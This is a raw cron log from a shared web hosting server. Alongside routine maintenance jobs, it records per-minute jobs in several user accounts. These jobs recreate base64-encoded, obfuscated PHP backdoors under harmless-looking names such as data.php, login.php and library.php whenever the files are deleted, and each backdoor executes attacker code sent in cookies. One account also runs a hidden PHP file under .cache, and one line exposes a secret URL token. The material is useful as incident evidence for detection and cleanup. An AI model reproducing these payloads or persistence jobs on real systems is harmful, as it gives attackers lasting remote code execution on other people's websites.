Mar  2 03:57:01 medusa CROND[7135]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:58:01 medusa CROND[25909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:58:01 medusa CROND[26022]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:58:01 medusa CROND[26024]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:58:01 medusa CROND[26023]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:58:01 medusa CROND[26027]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:58:01 medusa CROND[26028]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:58:01 medusa CROND[26030]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 03:58:01 medusa CROND[26031]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:58:01 medusa CROND[26038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:58:01 medusa CROND[26042]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:58:01 medusa CROND[26043]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:58:01 medusa CROND[26044]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:58:01 medusa CROND[26045]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:58:01 medusa CROND[26048]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:59:01 medusa CROND[11552]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:59:01 medusa CROND[11662]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:59:01 medusa CROND[11668]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:59:01 medusa CROND[11781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:59:01 medusa CROND[11784]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:59:01 medusa CROND[11785]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:59:01 medusa CROND[11786]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:59:01 medusa CROND[11790]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:59:01 medusa CROND[11791]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:59:01 medusa CROND[11796]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:59:01 medusa CROND[11798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:59:01 medusa CROND[11802]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:00:01 medusa CROND[26759]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:00:01 medusa CROND[26773]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:00:01 medusa CROND[26774]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:00:01 medusa CROND[26831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:00:02 medusa CROND[27054]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27055]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:00:02 medusa CROND[27056]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:00:02 medusa CROND[27057]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
